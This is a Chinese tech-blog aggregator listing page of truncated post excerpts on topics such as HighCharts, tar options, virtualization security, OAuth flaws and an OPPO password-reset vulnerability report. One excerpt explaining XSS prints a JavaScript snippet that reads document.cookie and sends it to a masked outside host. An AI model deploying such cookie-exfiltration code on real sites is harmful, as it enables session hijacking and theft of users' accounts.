漏洞概要 关注数(12) 关注此漏洞 缺陷编号： WooYun-2014-53079漏洞标题：
第二次重置OPPO手机官网任意账户密码（秒改）相关厂商： 广东欧珀移动通讯有限公司 漏洞作者： 魇提交时间： 2014-03-07 23:32公开时间：
2014-04-21 23:33漏洞类型： 设.....
分类：
移动开发 时间：
2014-05-27 00:42:53
阅读次数：
386
一、HighCharts开发说明：HighCharts开发实际上配置HighCharts每个部分，比如配置标题（title），副标题（subtitle）等，其中每个部分又有更细的参数配置，比如标题下有对齐方式（align），标题文字（text）等。下图为整个图表的每个部分位置说明（请对照下面High...
打包：zcvf解压：zxvf-c 创建新档案文件-x 从档案文件中解出文件（释放文件）-v
（verbose）显示tar命令执行的详细过程-f 指定目标为一个文件而不是一个设备-z 调用gzip来压缩归档文件，与-x联用时调用gzip完成解压缩-O
将文件解开到标准输出-r 向归档文件末尾追加文件-...
分类：
其他好文 时间：
2014-05-23 22:54:54
阅读次数：
376
本文内容分为安全策略和虚拟化安全管理，重点讲介绍虚拟化安全0x01
实施安全策略安全策略是有效的安全防御机制的基础，公司如果在没有创建安全策略、标准、指南、流程等基础的情况下，首先实现了技术解决方案，会导致安全控制机制目标不集中下图是安全策略的层析结构关系：
策略通常被认为是最高层的文档，而...
分类：
其他好文 时间：
2014-05-23 22:14:39
阅读次数：
635
转自http://jiangshuiy.iteye.com/blog/1674235PS:今天做android助手项目的时候，发现adb
push命令执行会卡死，最后发现不能用waitfor阻塞等待执行结果，而且cmd上print的内容是打在进程的error流而不是input流，所以搞了好一会儿，最...
分类：
编程语言 时间：
2014-05-23 10:33:25
阅读次数：
562
xss的概念就不用多说了，它的危害是极大的，这就意味着一旦你的网站出现xss漏洞，就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持，如果这里面包含了大量敏感信息（身份信息，管理员信息）等，那完了。。。
如下js获取cookie信息：
url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src=’http://www.******.c...
分类：
其他好文 时间：
2014-05-22 08:24:14
阅读次数：
273
上联：no zuo no die why you try
下联：no try no high give me five
横批： let it go。
坑爹bug：
错误写法：
0 } ">true （最后一个大括号后多出一个空格，代码啥都不会输出）
正确写法： 0 }">true 正确写法 输出结果： true...
分类：
Web程序 时间：
2014-05-22 07:42:52
阅读次数：
355
Modeling Temporal Dependencies in
High-Dimensional Sequences: Application to Polyphonic Music Generation and
TranscriptionbyNicolas Boulanger-Lewandow...
分类：
其他好文 时间：
2014-05-21 18:47:54
阅读次数：
358
OAuth 漏洞预警 (OAuth平台redirect_uri 漏洞)， 说说如何修补...
分类：
其他好文 时间：
2014-05-21 14:37:04
阅读次数：
262
摘要：因安装不安全的手机App而导致的用户隐私被泄露的事件屡见报端，致使手机App频现“偷窥门”，让越来越多的人为之心惊胆跳。
安卓平台海量的免费应用吸引了越来越多的用户，但其开放性也给用户的隐私安全带来隐患，因安装不安全的手机App导致隐私泄露的事件屡屡被曝光。据统计，5%的免费移动应用都含有侵犯用户隐私的广告软件。这些广告软件可以更改用户手机设置、发送通知消息、私自访问用户身份信息等等。...
分类：
移动开发 时间：
2014-05-21 14:30:34
阅读次数：
280
